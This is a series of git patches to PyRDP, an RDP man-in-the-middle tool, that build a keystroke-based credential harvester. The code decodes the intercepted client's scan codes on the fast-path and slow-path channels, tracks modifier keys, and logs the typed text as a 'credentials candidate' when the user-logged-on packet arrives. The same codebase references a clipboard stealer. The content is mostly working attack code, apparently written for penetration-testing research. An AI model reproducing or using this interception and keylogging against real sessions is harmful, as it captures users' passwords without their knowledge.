From d4b8ad720bf3f6e577dd25c0a27db5ac55bfb993 Mon Sep 17 00:00:00 2001 From: Pourliver Date: Mon, 13 May 2019 10:17:35 -0400 Subject: [PATCH 1/7] Added a crendential logger --- pyrdp/logging/observers.py | 79 ++++++++++++++++++++++++++++++++++++-- pyrdp/mitm/mitm.py | 3 +- 2 files changed, 78 insertions(+), 4 deletions(-) diff --git a/pyrdp/logging/observers.py b/pyrdp/logging/observers.py index 7aa1bc6b0..c63e17661 100644 --- a/pyrdp/logging/observers.py +++ b/pyrdp/logging/observers.py @@ -6,11 +6,12 @@ from logging import LoggerAdapter -from pyrdp.enum import ErrorInfo, MCSPDUType, X224PDUType +from pyrdp.enum import DeviceRedirectionPacketID, ErrorInfo, MCSPDUType, X224PDUType from pyrdp.layer import FastPathObserver, LayerObserver, MCSObserver, SecurityObserver, SlowPathObserver, X224Observer from pyrdp.parser import ClientInfoParser -from pyrdp.pdu import FastPathPDU, MCSAttachUserConfirmPDU, MCSChannelJoinConfirmPDU, MCSConnectResponsePDU, MCSPDU, \ +from pyrdp.pdu import DeviceRedirectionPDU, FastPathPDU, FastPathScanCodeEvent, MCSAttachUserConfirmPDU, MCSChannelJoinConfirmPDU, MCSConnectResponsePDU, MCSPDU, \ SecurityExchangePDU, SlowPathPDU, X224PDU +from pyrdp.player.keyboard import getKeyName class LoggingObserver: @@ -22,6 +23,10 @@ def __init__(self, log: LoggerAdapter, *args, **kwargs): self.log = log def logPDU(self, pdu): + if isinstance(pdu, DeviceRedirectionPDU): + if pdu.packetID == DeviceRedirectionPacketID.PAKID_CORE_USER_LOGGEDON: + # User has logged on + CredentialLogger.instance.printCandidate() self.log.debug("Received %(pdu)s", {"pdu": pdu}) @@ -145,4 +150,72 @@ def __init__(self, log: LoggerAdapter): super().__init__(log) def onPDUReceived(self, pdu): - self.logPDU(pdu) \ No newline at end of file + self.logPDU(pdu) + +# Singleton +class CredentialLogger(LoggingObserver): + """ + Logging observer for credentials going through the fast-path layers. + Credentials gets printed whenever RDPDR receives a "loggon" type packet + """ + instance = None + + class __CredentialLogger: + def __init__(self, log: LoggerAdapter): + self.log = log + self.shiftPressed = False + self.capsLockOn = False + self.candidate = "" + self.buffer = "" + + def onPDUReceived(self, pdu: FastPathPDU): + self.logPDU(pdu) + + def logPDU(self, pdu): + for event in pdu.events: + if isinstance(event, FastPathScanCodeEvent): + self.onScanCode(event.scanCode, event.isReleased, event.rawHeaderByte & 2 != 0) + + def onScanCode(self, scanCode: int, isReleased: bool, isExtended: bool): + """ + Handle scan code. + """ + keyName = getKeyName(scanCode, isExtended, self.shiftPressed, self.capsLockOn) + + if len(keyName) == 1: + if not isReleased: + self.buffer += keyName + + # Left or right shift + if scanCode in [0x2A, 0x36]: + self.shiftPressed = not isReleased + + # Caps lock + elif scanCode == 0x3A and not isReleased: + self.capsLockOn = not self.capsLockOn + + # Return + elif scanCode == 0x1C and not isReleased: + self.candidate = self.buffer + self.buffer = "" + + # Print the last entered crendential + def printCandidate(self): + # If form is submitted with a click, print the buffer instead + # If the RDP client sends the credentials, both will be empty + if self.candidate or self.buffer: + self.log.info("Credentials candidate: %(candidate)s", {"candidate" : (self.candidate or self.buffer) }) + + def __new__(self, log: LoggerAdapter): + if not CredentialLogger.instance: + CredentialLogger.instance = CredentialLogger.__CredentialLogger(log) + return CredentialLogger.instance + + def __init__(self, log: LoggerAdapter): + super().__init__(log) + + # Forward getters/setters to the instance + def __getattr__(self, name): + return getattr(self.instance, name) + def __setattr__(self, name): + return setattr(self.instance, name) \ No newline at end of file diff --git a/pyrdp/mitm/mitm.py b/pyrdp/mitm/mitm.py index 2fbaa7095..b5d9c31d7 100644 --- a/pyrdp/mitm/mitm.py +++ b/pyrdp/mitm/mitm.py @@ -16,7 +16,7 @@ from pyrdp.layer import ClipboardLayer, DeviceRedirectionLayer, LayerChainItem, RawLayer, VirtualChannelLayer from pyrdp.logging import RC4LoggingObserver from pyrdp.logging.adapters import SessionLogger -from pyrdp.logging.observers import FastPathLogger, LayerLogger, MCSLogger, SecurityLogger, SlowPathLogger, X224Logger +from pyrdp.logging.observers import CredentialLogger, FastPathLogger, LayerLogger, MCSLogger, SecurityLogger, SlowPathLogger, X224Logger from pyrdp.mcs import MCSClientChannel, MCSServerChannel from pyrdp.mitm.AttackerMITM import AttackerMITM from pyrdp.mitm.ClipboardMITM import ActiveClipboardStealer @@ -227,6 +227,7 @@ def buildIOChannel(self, client: MCSServerChannel, server: MCSClientChannel): self.client.security.addObserver(SecurityLogger(self.getClientLog("security"))) self.client.fastPath.addObserver(FastPathLogger(self.getClientLog("fastpath"))) + self.client.fastPath.addObserver(CredentialLogger(self.getClientLog("credential"))) self.client.fastPath.addObserver(RecordingFastPathObserver(self.recorder, PlayerPDUType.FAST_PATH_INPUT)) self.server.security.addObserver(SecurityLogger(self.getServerLog("security"))) From f7b860178bd21e0d8cc90a02dc19026bfc9b675c Mon Sep 17 00:00:00 2001 From: Pourliver Date: Mon, 13 May 2019 10:41:26 -0400 Subject: [PATCH 2/7] Added a killswitch to the credentials logger --- pyrdp/logging/observers.py | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/pyrdp/logging/observers.py b/pyrdp/logging/observers.py index c63e17661..1c367c96a 100644 --- a/pyrdp/logging/observers.py +++ b/pyrdp/logging/observers.py @@ -162,6 +162,7 @@ class CredentialLogger(LoggingObserver): class __CredentialLogger: def __init__(self, log: LoggerAdapter): + self.active = True self.log = log self.shiftPressed = False self.capsLockOn = False @@ -169,7 +170,8 @@ def __init__(self, log: LoggerAdapter): self.buffer = "" def onPDUReceived(self, pdu: FastPathPDU): - self.logPDU(pdu) + if self.active: + self.logPDU(pdu) def logPDU(self, pdu): for event in pdu.events: @@ -206,9 +208,19 @@ def printCandidate(self): if self.candidate or self.buffer: self.log.info("Credentials candidate: %(candidate)s", {"candidate" : (self.candidate or self.buffer) }) + # Deactivate the logger for this client + self.active = False + self.shiftPressed = False + self.capsLockOn = False + self.candidate = "" + self.buffer = "" + def __new__(self, log: LoggerAdapter): if not CredentialLogger.instance: CredentialLogger.instance = CredentialLogger.__CredentialLogger(log) + + # Reactivate the logger, triggered on a new connection + CredentialLogger.instance.active = True return CredentialLogger.instance def __init__(self, log: LoggerAdapter): From 42f0abb264f456384f218e51f70c6632c896321e Mon Sep 17 00:00:00 2001 From: Pourliver Date: Mon, 3 Jun 2019 13:44:55 -0400 Subject: [PATCH 3/7] Refactored credential logger --- pyrdp/logging/observers.py | 91 +---------------------------- pyrdp/mitm/DeviceRedirectionMITM.py | 26 ++++++++- pyrdp/mitm/FastPathMITM.py | 34 ++++++++++- pyrdp/mitm/mitm.py | 5 +- pyrdp/mitm/state.py | 15 +++++ 5 files changed, 75 insertions(+), 96 deletions(-) diff --git a/pyrdp/logging/observers.py b/pyrdp/logging/observers.py index 1c367c96a..7aa1bc6b0 100644 --- a/pyrdp/logging/observers.py +++ b/pyrdp/logging/observers.py @@ -6,12 +6,11 @@ from logging import LoggerAdapter -from pyrdp.enum import DeviceRedirectionPacketID, ErrorInfo, MCSPDUType, X224PDUType +from pyrdp.enum import ErrorInfo, MCSPDUType, X224PDUType from pyrdp.layer import FastPathObserver, LayerObserver, MCSObserver, SecurityObserver, SlowPathObserver, X224Observer from pyrdp.parser import ClientInfoParser -from pyrdp.pdu import DeviceRedirectionPDU, FastPathPDU, FastPathScanCodeEvent, MCSAttachUserConfirmPDU, MCSChannelJoinConfirmPDU, MCSConnectResponsePDU, MCSPDU, \ +from pyrdp.pdu import FastPathPDU, MCSAttachUserConfirmPDU, MCSChannelJoinConfirmPDU, MCSConnectResponsePDU, MCSPDU, \ SecurityExchangePDU, SlowPathPDU, X224PDU -from pyrdp.player.keyboard import getKeyName class LoggingObserver: @@ -23,10 +22,6 @@ def __init__(self, log: LoggerAdapter, *args, **kwargs): self.log = log def logPDU(self, pdu): - if isinstance(pdu, DeviceRedirectionPDU): - if pdu.packetID == DeviceRedirectionPacketID.PAKID_CORE_USER_LOGGEDON: - # User has logged on - CredentialLogger.instance.printCandidate() self.log.debug("Received %(pdu)s", {"pdu": pdu}) @@ -150,84 +145,4 @@ def __init__(self, log: LoggerAdapter): super().__init__(log) def onPDUReceived(self, pdu): - self.logPDU(pdu) - -# Singleton -class CredentialLogger(LoggingObserver): - """ - Logging observer for credentials going through the fast-path layers. - Credentials gets printed whenever RDPDR receives a "loggon" type packet - """ - instance = None - - class __CredentialLogger: - def __init__(self, log: LoggerAdapter): - self.active = True - self.log = log - self.shiftPressed = False - self.capsLockOn = False - self.candidate = "" - self.buffer = "" - - def onPDUReceived(self, pdu: FastPathPDU): - if self.active: - self.logPDU(pdu) - - def logPDU(self, pdu): - for event in pdu.events: - if isinstance(event, FastPathScanCodeEvent): - self.onScanCode(event.scanCode, event.isReleased, event.rawHeaderByte & 2 != 0) - - def onScanCode(self, scanCode: int, isReleased: bool, isExtended: bool): - """ - Handle scan code. - """ - keyName = getKeyName(scanCode, isExtended, self.shiftPressed, self.capsLockOn) - - if len(keyName) == 1: - if not isReleased: - self.buffer += keyName - - # Left or right shift - if scanCode in [0x2A, 0x36]: - self.shiftPressed = not isReleased - - # Caps lock - elif scanCode == 0x3A and not isReleased: - self.capsLockOn = not self.capsLockOn - - # Return - elif scanCode == 0x1C and not isReleased: - self.candidate = self.buffer - self.buffer = "" - - # Print the last entered crendential - def printCandidate(self): - # If form is submitted with a click, print the buffer instead - # If the RDP client sends the credentials, both will be empty - if self.candidate or self.buffer: - self.log.info("Credentials candidate: %(candidate)s", {"candidate" : (self.candidate or self.buffer) }) - - # Deactivate the logger for this client - self.active = False - self.shiftPressed = False - self.capsLockOn = False - self.candidate = "" - self.buffer = "" - - def __new__(self, log: LoggerAdapter): - if not CredentialLogger.instance: - CredentialLogger.instance = CredentialLogger.__CredentialLogger(log) - - # Reactivate the logger, triggered on a new connection - CredentialLogger.instance.active = True - return CredentialLogger.instance - - def __init__(self, log: LoggerAdapter): - super().__init__(log) - - # Forward getters/setters to the instance - def __getattr__(self, name): - return getattr(self.instance, name) - def __setattr__(self, name): - return setattr(self.instance, name) \ No newline at end of file + self.logPDU(pdu) \ No newline at end of file diff --git a/pyrdp/mitm/DeviceRedirectionMITM.py b/pyrdp/mitm/DeviceRedirectionMITM.py index 88c3f2abe..f209bc3ec 100644 --- a/pyrdp/mitm/DeviceRedirectionMITM.py +++ b/pyrdp/mitm/DeviceRedirectionMITM.py @@ -11,12 +11,13 @@ from typing import Dict, Optional, Union from pyrdp.core import FileProxy, ObservedBy, Observer, Subject -from pyrdp.enum import CreateOption, DeviceType, DirectoryAccessMask, FileAccessMask, FileAttributes, \ +from pyrdp.enum import CreateOption, DeviceRedirectionPacketID, DeviceType, DirectoryAccessMask, FileAccessMask, FileAttributes, \ FileCreateDisposition, FileCreateOptions, FileShareAccess, FileSystemInformationClass, IOOperationSeverity, \ MajorFunction, MinorFunction from pyrdp.layer import DeviceRedirectionLayer from pyrdp.mitm.config import MITMConfig from pyrdp.mitm.FileMapping import FileMapping, FileMappingDecoder, FileMappingEncoder +from pyrdp.mitm.state import RDPMITMState from pyrdp.pdu import DeviceAnnounce, DeviceCloseRequestPDU, DeviceCloseResponsePDU, DeviceCreateRequestPDU, \ DeviceCreateResponsePDU, DeviceDirectoryControlResponsePDU, DeviceIORequestPDU, DeviceIOResponsePDU, \ DeviceListAnnounceRequest, DeviceQueryDirectoryRequestPDU, DeviceQueryDirectoryResponsePDU, DeviceReadRequestPDU, \ @@ -53,7 +54,7 @@ class DeviceRedirectionMITM(Subject): FORGED_COMPLETION_ID = 1000000 - def __init__(self, client: DeviceRedirectionLayer, server: DeviceRedirectionLayer, log: LoggerAdapter, config: MITMConfig): + def __init__(self, client: DeviceRedirectionLayer, server: DeviceRedirectionLayer, log: LoggerAdapter, config: MITMConfig, state: RDPMITMState): """ :param client: device redirection layer for the client side :param server: device redirection layer for the server side @@ -64,6 +65,7 @@ def __init__(self, client: DeviceRedirectionLayer, server: DeviceRedirectionLaye self.client = client self.server = server + self.state = state self.log = log self.config = config self.currentIORequests: Dict[int, DeviceIORequestPDU] = {} @@ -128,6 +130,10 @@ def handlePDU(self, pdu: DeviceRedirectionPDU, destination: DeviceRedirectionLay elif isinstance(pdu, DeviceListAnnounceRequest): self.handleDeviceListAnnounceRequest(pdu) + elif isinstance(pdu, DeviceRedirectionPDU): + if pdu.packetID == DeviceRedirectionPacketID.PAKID_CORE_USER_LOGGEDON: + self.handleClientLogin() + if not dropPDU: destination.sendPDU(pdu) @@ -270,6 +276,22 @@ def handleCloseResponse(self, request: DeviceCloseRequestPDU, _: DeviceCloseResp self.saveMapping() + def handleClientLogin(self): + """ + Handle events that should be triggered when a client logs in. + """ + + if self.state.candidate or self.state.inputBuffer: + self.log.info("Credentials candidate: %(candidate)s", {"candidate" : (self.state.candidate or self.state.inputBuffer) }) + + # Deactivate the logger for this client + self.state.loggedIn = True + self.state.shiftPressed = False + self.state.capsLockOn = False + self.state.candidate = "" + self.state.inputBuffer = "" + + def findNextRequestID(self) -> int: """ Find the next request ID to be returned for a forged request. Request ID's start from a different base than the diff --git a/pyrdp/mitm/FastPathMITM.py b/pyrdp/mitm/FastPathMITM.py index 0cc25917b..346be2382 100644 --- a/pyrdp/mitm/FastPathMITM.py +++ b/pyrdp/mitm/FastPathMITM.py @@ -6,8 +6,8 @@ from pyrdp.layer import FastPathLayer from pyrdp.mitm.state import RDPMITMState -from pyrdp.pdu import FastPathPDU - +from pyrdp.pdu import FastPathPDU, FastPathScanCodeEvent +from pyrdp.player.keyboard import getKeyName class FastPathMITM: """ @@ -37,6 +37,34 @@ def onClientPDUReceived(self, pdu: FastPathPDU): if self.state.forwardInput: self.server.sendPDU(pdu) + if not self.state.loggedIn: + for event in pdu.events: + if isinstance(event, FastPathScanCodeEvent): + self.onScanCode(event.scanCode, event.isReleased, event.rawHeaderByte & 2 != 0) + def onServerPDUReceived(self, pdu: FastPathPDU): if self.state.forwardOutput: - self.client.sendPDU(pdu) \ No newline at end of file + self.client.sendPDU(pdu) + + def onScanCode(self, scanCode: int, isReleased: bool, isExtended: bool): + """ + Handle scan code. + """ + keyName = getKeyName(scanCode, isExtended, self.state.shiftPressed, self.state.capsLockOn) + + if len(keyName) == 1: + if not isReleased: + self.state.inputBuffer += keyName + + # Left or right shift + if scanCode in [0x2A, 0x36]: + self.state.shiftPressed = not isReleased + + # Caps lock + elif scanCode == 0x3A and not isReleased: + self.state.capsLockOn = not self.state.capsLockOn + + # Return + elif scanCode == 0x1C and not isReleased: + self.state.candidate = self.state.inputBuffer + self.state.inputBuffer = "" \ No newline at end of file diff --git a/pyrdp/mitm/mitm.py b/pyrdp/mitm/mitm.py index b5d9c31d7..2f5fdd1fb 100644 --- a/pyrdp/mitm/mitm.py +++ b/pyrdp/mitm/mitm.py @@ -16,7 +16,7 @@ from pyrdp.layer import ClipboardLayer, DeviceRedirectionLayer, LayerChainItem, RawLayer, VirtualChannelLayer from pyrdp.logging import RC4LoggingObserver from pyrdp.logging.adapters import SessionLogger -from pyrdp.logging.observers import CredentialLogger, FastPathLogger, LayerLogger, MCSLogger, SecurityLogger, SlowPathLogger, X224Logger +from pyrdp.logging.observers import FastPathLogger, LayerLogger, MCSLogger, SecurityLogger, SlowPathLogger, X224Logger from pyrdp.mcs import MCSClientChannel, MCSServerChannel from pyrdp.mitm.AttackerMITM import AttackerMITM from pyrdp.mitm.ClipboardMITM import ActiveClipboardStealer @@ -227,7 +227,6 @@ def buildIOChannel(self, client: MCSServerChannel, server: MCSClientChannel): self.client.security.addObserver(SecurityLogger(self.getClientLog("security"))) self.client.fastPath.addObserver(FastPathLogger(self.getClientLog("fastpath"))) - self.client.fastPath.addObserver(CredentialLogger(self.getClientLog("credential"))) self.client.fastPath.addObserver(RecordingFastPathObserver(self.recorder, PlayerPDUType.FAST_PATH_INPUT)) self.server.security.addObserver(SecurityLogger(self.getServerLog("security"))) @@ -298,7 +297,7 @@ def buildDeviceChannel(self, client: MCSServerChannel, server: MCSClientChannel) LayerChainItem.chain(client, clientSecurity, clientVirtualChannel, clientLayer) LayerChainItem.chain(server, serverSecurity, serverVirtualChannel, serverLayer) - deviceRedirection = DeviceRedirectionMITM(clientLayer, serverLayer, self.getLog(MCSChannelName.DEVICE_REDIRECTION), self.config) + deviceRedirection = DeviceRedirectionMITM(clientLayer, serverLayer, self.getLog(MCSChannelName.DEVICE_REDIRECTION), self.config, self.state) self.channelMITMs[client.channelID] = deviceRedirection if self.attacker: diff --git a/pyrdp/mitm/state.py b/pyrdp/mitm/state.py index 5d98efa2a..6c9f31add 100644 --- a/pyrdp/mitm/state.py +++ b/pyrdp/mitm/state.py @@ -51,6 +51,21 @@ def __init__(self): self.forwardOutput = True """Whether output from the server should be forwarded to the client""" + self.loggedIn = False + """Keep tracks of the client login status""" + + self.inputBuffer = "" + """Used to store what the client types""" + + self.candidate = "" + """The potential client password""" + + self.shiftPressed = False + """The current keyboard shift state""" + + self.capsLockOn = False + """The current keyboard capsLock state""" + self.securitySettings.addObserver(self.crypters[ParserMode.CLIENT]) self.securitySettings.addObserver(self.crypters[ParserMode.SERVER]) From 3d7181200738fdef90d7af40cc787ac0d736619c Mon Sep 17 00:00:00 2001 From: Pourliver Date: Wed, 5 Jun 2019 14:12:36 -0400 Subject: [PATCH 4/7] Added more detail to credentials harvesting --- pyrdp/mitm/DeviceRedirectionMITM.py | 6 ++--- pyrdp/mitm/FastPathMITM.py | 35 ++++++++++++++++++++--------- pyrdp/mitm/state.py | 5 ++++- 3 files changed, 31 insertions(+), 15 deletions(-) diff --git a/pyrdp/mitm/DeviceRedirectionMITM.py b/pyrdp/mitm/DeviceRedirectionMITM.py index f209bc3ec..5702c1a4c 100644 --- a/pyrdp/mitm/DeviceRedirectionMITM.py +++ b/pyrdp/mitm/DeviceRedirectionMITM.py @@ -281,14 +281,14 @@ def handleClientLogin(self): Handle events that should be triggered when a client logs in. """ - if self.state.candidate or self.state.inputBuffer: - self.log.info("Credentials candidate: %(candidate)s", {"candidate" : (self.state.candidate or self.state.inputBuffer) }) + if self.state.credentialsCandidate or self.state.inputBuffer: + self.log.info("Credentials candidate from heuristic: %(credentials_candidate)s", {"credentials_candidate" : (self.state.credentialsCandidate or self.state.inputBuffer) }) # Deactivate the logger for this client self.state.loggedIn = True self.state.shiftPressed = False self.state.capsLockOn = False - self.state.candidate = "" + self.state.credentialsCandidate = "" self.state.inputBuffer = "" diff --git a/pyrdp/mitm/FastPathMITM.py b/pyrdp/mitm/FastPathMITM.py index 346be2382..2a84d7a14 100644 --- a/pyrdp/mitm/FastPathMITM.py +++ b/pyrdp/mitm/FastPathMITM.py @@ -8,6 +8,8 @@ from pyrdp.mitm.state import RDPMITMState from pyrdp.pdu import FastPathPDU, FastPathScanCodeEvent from pyrdp.player.keyboard import getKeyName +from pyrdp.enum import ScanCode + class FastPathMITM: """ @@ -51,20 +53,31 @@ def onScanCode(self, scanCode: int, isReleased: bool, isExtended: bool): Handle scan code. """ keyName = getKeyName(scanCode, isExtended, self.state.shiftPressed, self.state.capsLockOn) - - if len(keyName) == 1: - if not isReleased: - self.state.inputBuffer += keyName + scanCodeTuple = (scanCode, isExtended) # Left or right shift - if scanCode in [0x2A, 0x36]: + if scanCodeTuple in [ScanCode.LSHIFT, ScanCode.RSHIFT]: self.state.shiftPressed = not isReleased - # Caps lock - elif scanCode == 0x3A and not isReleased: + elif scanCodeTuple == ScanCode.CAPSLOCK and not isReleased: self.state.capsLockOn = not self.state.capsLockOn - + # Control + elif scanCodeTuple in [ScanCode.LCONTROL, ScanCode.RCONTROL]: + self.state.ctrlPressed = not isReleased + # Backspace + elif scanCodeTuple == ScanCode.BACKSPACE and not isReleased: + self.state.inputBuffer += "<\\b>" + # Tab + elif scanCodeTuple == ScanCode.TAB and not isReleased: + self.state.inputBuffer += "<\\t>" + # CTRL + A + elif scanCodeTuple == ScanCode.KEY_A and self.state.ctrlPressed and not isReleased: + self.state.inputBuffer += "" # Return - elif scanCode == 0x1C and not isReleased: - self.state.candidate = self.state.inputBuffer - self.state.inputBuffer = "" \ No newline at end of file + elif scanCodeTuple == ScanCode.RETURN and not isReleased: + self.state.credentialsCandidate = self.state.inputBuffer + self.state.inputBuffer = "" + # Normal input + elif len(keyName) == 1: + if not isReleased: + self.state.inputBuffer += keyName \ No newline at end of file diff --git a/pyrdp/mitm/state.py b/pyrdp/mitm/state.py index 6c9f31add..eb6258526 100644 --- a/pyrdp/mitm/state.py +++ b/pyrdp/mitm/state.py @@ -57,7 +57,7 @@ def __init__(self): self.inputBuffer = "" """Used to store what the client types""" - self.candidate = "" + self.credentialsCandidate = "" """The potential client password""" self.shiftPressed = False @@ -66,6 +66,9 @@ def __init__(self): self.capsLockOn = False """The current keyboard capsLock state""" + self.ctrlPressed = False + """The current keybaord ctrl state""" + self.securitySettings.addObserver(self.crypters[ParserMode.CLIENT]) self.securitySettings.addObserver(self.crypters[ParserMode.SERVER]) From f51b3f1ae5fc81d253879f1eed92a63d55efa93c Mon Sep 17 00:00:00 2001 From: Pourliver Date: Wed, 5 Jun 2019 15:49:19 -0400 Subject: [PATCH 5/7] Added constant flag --- pyrdp/mitm/FastPathMITM.py | 6 +++--- pyrdp/player/PlayerEventHandler.py | 2 +- pyrdp/player/keyboard.py | 3 +++ 3 files changed, 7 insertions(+), 4 deletions(-) diff --git a/pyrdp/mitm/FastPathMITM.py b/pyrdp/mitm/FastPathMITM.py index 2a84d7a14..0924c920e 100644 --- a/pyrdp/mitm/FastPathMITM.py +++ b/pyrdp/mitm/FastPathMITM.py @@ -7,7 +7,7 @@ from pyrdp.layer import FastPathLayer from pyrdp.mitm.state import RDPMITMState from pyrdp.pdu import FastPathPDU, FastPathScanCodeEvent -from pyrdp.player.keyboard import getKeyName +from pyrdp.player import keyboard from pyrdp.enum import ScanCode @@ -42,7 +42,7 @@ def onClientPDUReceived(self, pdu: FastPathPDU): if not self.state.loggedIn: for event in pdu.events: if isinstance(event, FastPathScanCodeEvent): - self.onScanCode(event.scanCode, event.isReleased, event.rawHeaderByte & 2 != 0) + self.onScanCode(event.scanCode, event.isReleased, event.rawHeaderByte & keyboard.KBDFLAGS_EXTENDED != 0) def onServerPDUReceived(self, pdu: FastPathPDU): if self.state.forwardOutput: @@ -52,7 +52,7 @@ def onScanCode(self, scanCode: int, isReleased: bool, isExtended: bool): """ Handle scan code. """ - keyName = getKeyName(scanCode, isExtended, self.state.shiftPressed, self.state.capsLockOn) + keyName = keyboard.getKeyName(scanCode, isExtended, self.state.shiftPressed, self.state.capsLockOn) scanCodeTuple = (scanCode, isExtended) # Left or right shift diff --git a/pyrdp/player/PlayerEventHandler.py b/pyrdp/player/PlayerEventHandler.py index e6abc1047..c82eaf659 100644 --- a/pyrdp/player/PlayerEventHandler.py +++ b/pyrdp/player/PlayerEventHandler.py @@ -185,7 +185,7 @@ def onFastPathInput(self, pdu: PlayerPDU): elif isinstance(event, FastPathMouseEvent): self.onMouse(event) elif isinstance(event, FastPathScanCodeEvent): - self.onScanCode(event.scanCode, event.isReleased, event.rawHeaderByte & 2 != 0) + self.onScanCode(event.scanCode, event.isReleased, event.rawHeaderByte & keyboard.KBDFLAGS_EXTENDED != 0) def onUnicode(self, event: FastPathUnicodeEvent): diff --git a/pyrdp/player/keyboard.py b/pyrdp/player/keyboard.py index 053d87837..11785c2e0 100644 --- a/pyrdp/player/keyboard.py +++ b/pyrdp/player/keyboard.py @@ -9,6 +9,9 @@ from PySide2.QtCore import Qt from PySide2.QtGui import QKeyEvent +# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/089d362b-31eb-4a1a-b6fa-92fe61bb5dbf +KBDFLAGS_EXTENDED = 2 + SCANCODE_MAPPING = { Qt.Key.Key_Escape: 0x01, Qt.Key.Key_1: 0x02, From 7fa5f02a650b5e79309bc02a1791cc611b3f09c3 Mon Sep 17 00:00:00 2001 From: Pourliver Date: Mon, 10 Jun 2019 14:07:37 -0400 Subject: [PATCH 6/7] Added slow-path credentials logger --- pyrdp/mitm/BasePathMITM.py | 64 ++++++++++++++++++++++++++++++++++++++ pyrdp/mitm/FastPathMITM.py | 45 +++------------------------ pyrdp/mitm/SlowPathMITM.py | 18 ++++++----- 3 files changed, 79 insertions(+), 48 deletions(-) create mode 100644 pyrdp/mitm/BasePathMITM.py diff --git a/pyrdp/mitm/BasePathMITM.py b/pyrdp/mitm/BasePathMITM.py new file mode 100644 index 000000000..74d7c3c2c --- /dev/null +++ b/pyrdp/mitm/BasePathMITM.py @@ -0,0 +1,64 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +from pyrdp.mitm.state import RDPMITMState +from pyrdp.player import keyboard +from pyrdp.enum import ScanCode +from pyrdp.pdu.pdu import PDU +from pyrdp.layer.layer import Layer + + +class BasePathMITM: + """ + Base MITM component for the fast-path and slow-path layers. + """ + + def __init__(self, state: RDPMITMState, client: Layer, server: Layer): + self.state = state + self.client = client + self.server = server + + def onClientPDUReceived(self, pdu: PDU): + raise NotImplementedError("onClientPDUReceived must be overridden") + + + def onServerPDUReceived(self, pdu: PDU): + raise NotImplementedError("onServerPDUReceived must be overridden") + + + def onScanCode(self, scanCode: int, isReleased: bool, isExtended: bool): + """ + Handle scan code. + """ + keyName = keyboard.getKeyName(scanCode, isExtended, self.state.shiftPressed, self.state.capsLockOn) + scanCodeTuple = (scanCode, isExtended) + + # Left or right shift + if scanCodeTuple in [ScanCode.LSHIFT, ScanCode.RSHIFT]: + self.state.shiftPressed = not isReleased + # Caps lock + elif scanCodeTuple == ScanCode.CAPSLOCK and not isReleased: + self.state.capsLockOn = not self.state.capsLockOn + # Control + elif scanCodeTuple in [ScanCode.LCONTROL, ScanCode.RCONTROL]: + self.state.ctrlPressed = not isReleased + # Backspace + elif scanCodeTuple == ScanCode.BACKSPACE and not isReleased: + self.state.inputBuffer += "<\\b>" + # Tab + elif scanCodeTuple == ScanCode.TAB and not isReleased: + self.state.inputBuffer += "<\\t>" + # CTRL + A + elif scanCodeTuple == ScanCode.KEY_A and self.state.ctrlPressed and not isReleased: + self.state.inputBuffer += "" + # Return + elif scanCodeTuple == ScanCode.RETURN and not isReleased: + self.state.credentialsCandidate = self.state.inputBuffer + self.state.inputBuffer = "" + # Normal input + elif len(keyName) == 1: + if not isReleased: + self.state.inputBuffer += keyName \ No newline at end of file diff --git a/pyrdp/mitm/FastPathMITM.py b/pyrdp/mitm/FastPathMITM.py index 0924c920e..bdc30157f 100644 --- a/pyrdp/mitm/FastPathMITM.py +++ b/pyrdp/mitm/FastPathMITM.py @@ -9,9 +9,9 @@ from pyrdp.pdu import FastPathPDU, FastPathScanCodeEvent from pyrdp.player import keyboard from pyrdp.enum import ScanCode +from pyrdp.mitm.BasePathMITM import BasePathMITM - -class FastPathMITM: +class FastPathMITM(BasePathMITM): """ MITM component for the fast-path layer. """ @@ -22,10 +22,7 @@ def __init__(self, client: FastPathLayer, server: FastPathLayer, state: RDPMITMS :param server: fast-path layer for the server side :param state: the MITM state. """ - - self.client = client - self.server = server - self.state = state + super().__init__(state, client, server) self.client.createObserver( onPDUReceived = self.onClientPDUReceived, @@ -46,38 +43,4 @@ def onClientPDUReceived(self, pdu: FastPathPDU): def onServerPDUReceived(self, pdu: FastPathPDU): if self.state.forwardOutput: - self.client.sendPDU(pdu) - - def onScanCode(self, scanCode: int, isReleased: bool, isExtended: bool): - """ - Handle scan code. - """ - keyName = keyboard.getKeyName(scanCode, isExtended, self.state.shiftPressed, self.state.capsLockOn) - scanCodeTuple = (scanCode, isExtended) - - # Left or right shift - if scanCodeTuple in [ScanCode.LSHIFT, ScanCode.RSHIFT]: - self.state.shiftPressed = not isReleased - # Caps lock - elif scanCodeTuple == ScanCode.CAPSLOCK and not isReleased: - self.state.capsLockOn = not self.state.capsLockOn - # Control - elif scanCodeTuple in [ScanCode.LCONTROL, ScanCode.RCONTROL]: - self.state.ctrlPressed = not isReleased - # Backspace - elif scanCodeTuple == ScanCode.BACKSPACE and not isReleased: - self.state.inputBuffer += "<\\b>" - # Tab - elif scanCodeTuple == ScanCode.TAB and not isReleased: - self.state.inputBuffer += "<\\t>" - # CTRL + A - elif scanCodeTuple == ScanCode.KEY_A and self.state.ctrlPressed and not isReleased: - self.state.inputBuffer += "" - # Return - elif scanCodeTuple == ScanCode.RETURN and not isReleased: - self.state.credentialsCandidate = self.state.inputBuffer - self.state.inputBuffer = "" - # Normal input - elif len(keyName) == 1: - if not isReleased: - self.state.inputBuffer += keyName \ No newline at end of file + self.client.sendPDU(pdu) \ No newline at end of file diff --git a/pyrdp/mitm/SlowPathMITM.py b/pyrdp/mitm/SlowPathMITM.py index 50c9b33d4..8dc732ba2 100644 --- a/pyrdp/mitm/SlowPathMITM.py +++ b/pyrdp/mitm/SlowPathMITM.py @@ -4,13 +4,13 @@ # Licensed under the GPLv3 or later. # -from pyrdp.enum import CapabilityType, OrderFlag, VirtualChannelCompressionFlag +from pyrdp.enum import CapabilityType, KeyboardFlag, OrderFlag, VirtualChannelCompressionFlag from pyrdp.layer import SlowPathLayer, SlowPathObserver from pyrdp.mitm.state import RDPMITMState -from pyrdp.pdu import Capability, ConfirmActivePDU, DemandActivePDU, SlowPathPDU +from pyrdp.pdu import Capability, ConfirmActivePDU, DemandActivePDU, InputPDU, KeyboardEvent, SlowPathPDU +from pyrdp.mitm.BasePathMITM import BasePathMITM - -class SlowPathMITM: +class SlowPathMITM(BasePathMITM): """ MITM component for the slow-path layer. """ @@ -20,9 +20,7 @@ def __init__(self, client: SlowPathLayer, server: SlowPathLayer, state: 